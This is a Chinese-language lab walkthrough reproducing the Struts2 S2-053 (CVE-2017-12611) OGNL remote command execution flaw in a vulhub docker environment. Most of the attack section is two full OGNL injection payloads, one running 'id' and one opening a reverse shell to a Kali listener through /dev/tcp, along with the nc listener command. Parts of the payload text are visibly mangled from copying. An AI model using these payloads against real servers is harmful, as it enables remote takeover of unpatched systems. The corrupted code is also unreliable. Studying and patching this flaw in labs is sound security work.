CVE-2017-12611(【S2-053】Struts2远程命令执⾏漏洞)漏洞复现
⼀:漏洞描述
Struts2在使⽤Freemarker模块引擎的时候,同时允许解析OGNL表达式。导致⽤户输⼊的数据本⾝不会被OGNL解析,但是由于被Freemarker解析⼀次后变成离开⼀个表达式,被OGNL解析第⼆次,导致任意命令执⾏漏洞。
⼆:受影响的版本
Struts 2.0.1-struts 2.3.33
Struts 2.5-Struts 2.5.10
三:环境搭建(192.168.33.144)
1、使⽤docker搭建环境
cd vulhub/struts2/s2-053
2、⼀键搭建环境
docker-compose up -d
3、访问:192.168.33.144:8080/hello.action。
四:攻击
1、在Your url中写⼊POC
POC:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.x ainer']).(#ognlUtil=#Instance(@com.l.OgnlUtil@class)).(#ExcludedPackageNa mes().clear()).(#ExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.nam e').toLowerCase().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErr orStream(true)).(#process=#p.start()).(@org.apachemons.io.IOUtils@toString(#InputStream()))}
cve漏洞库2、点击submit。
4、反弹shell,把shell反弹到kali上(kali:192.168.33.146)
nc -lvvp 1234
填写POC
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.x ainer']).(#ognlUtil=#Instance(@com.l.OgnlUtil@class)).(#ExcludedPackageNa mes().clear()).(#ExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.33.146/1234 0>&1').(#iswi n=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new jav a.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apachemons.io.IOUtils@toString(#InputStream ()))}
kali上成功反弹shell
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论